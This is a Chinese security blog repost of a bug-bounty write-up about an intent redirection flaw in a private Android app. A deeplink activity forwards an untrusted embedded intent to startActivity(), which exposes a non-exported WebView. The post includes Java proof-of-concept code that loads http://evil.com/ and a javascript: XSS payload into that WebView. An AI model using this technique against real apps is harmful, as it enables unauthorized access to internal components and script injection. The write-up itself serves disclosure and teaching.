某Android APP中一处国内不认国外认的有趣Bug

admin 2024年6月13日22:55:25评论13 views字数 1691阅读5分38秒阅读模式
博客新域名:https://gugesay.com 

 

前言

该APP在Hackerone上为“私有项目”,白帽小哥在该APP中发现了一处有趣的Bug,分享给各位。

故事开始

该APP有两个Activity。

一个我们姑且称之为com.activity.webview
另一个称之为com.Deeplink Splash activity

某Android APP中一处国内不认国外认的有趣Bug

首先进行静态分析,发现下面的Activity容易受到intent重定向攻击,这是因为它使用了隐式intent,这可能导致打开未导出的Activities和Content providers。

homeActivityIntent = (android.content.Intent) intent2.getParcelableExtra("referrerActivity");       } else {           homeActivityIntent = activity.getHomeActivityIntent();       }       activity.startActivity(homeActivityIntent);

许多开发者会利用该功能创建proxy components(Activities,、broadcast receivers和services),这些组件采用嵌入式 Intent 并将其传递给危险方法,例如 startActivity() 、 sendBroadcast() 等。

这样做是很危险的,因为攻击者可以强制应用程序启动无法直接从其他应用程序启动的非导出组件,或者授予攻击者对 content providers 的访问权限。WebView 有时还使用 Intent.parseUri() 方法将 URL 从字符串更改为 Intent 对象,并将其传递给 startActivity() ,这就违反了Android的安全设计原则。

其中有一个未导出的 webview activity,它采用 url 作为参数。那么尝试写一个PoC APP。

PoC代码:

Intent extra = new Intent();extra.setClassName("com.private.mobileapp""com.activity.webview");extra.putExtra("url""http://evil.com/");Intent intent = new Intent();intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");intent.putExtra("referrerActivity", extra);startActivity(intent);

COPY

运行查看:

某Android APP中一处国内不认国外认的有趣Bug

那么尝试一些XSS Payloads,

Intent extra = new Intent();extra.setClassName("com.private.mobileapp", "com.activity.webview");extra.putExtra("url", "javascript://legitimate.com/%0aalert(1)");Intent intent = new Intent();intent.setClassName("com.private.mobileapp", "com.DirectDeeplinkSplashactivity");intent.putExtra("referrerActivity", extra);startActivity(intent);OPY

再次运行查看:

某Android APP中一处国内不认国外认的有趣Bug

最终该漏洞被厂商认定为“中危”。

某Android APP中一处国内不认国外认的有趣Bug

骨哥画外音这种漏洞在国内很多SRC都不认,但是在国外H1上就呵呵哒了~

以上内容由骨哥翻译并整理。

原文:https://medium.com/@jooelsaka/an-interesting-bug-that-i-found-in-android-mobile-application-becf25c8c4d8

某Android APP中一处国内不认国外认的有趣Bug

原文始发于微信公众号(骨哥说事):某Android APP中一处国内不认国外认的有趣Bug

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月13日22:55:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   某Android APP中一处国内不认国外认的有趣Bughttps://cn-sec.com/archives/2842345.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息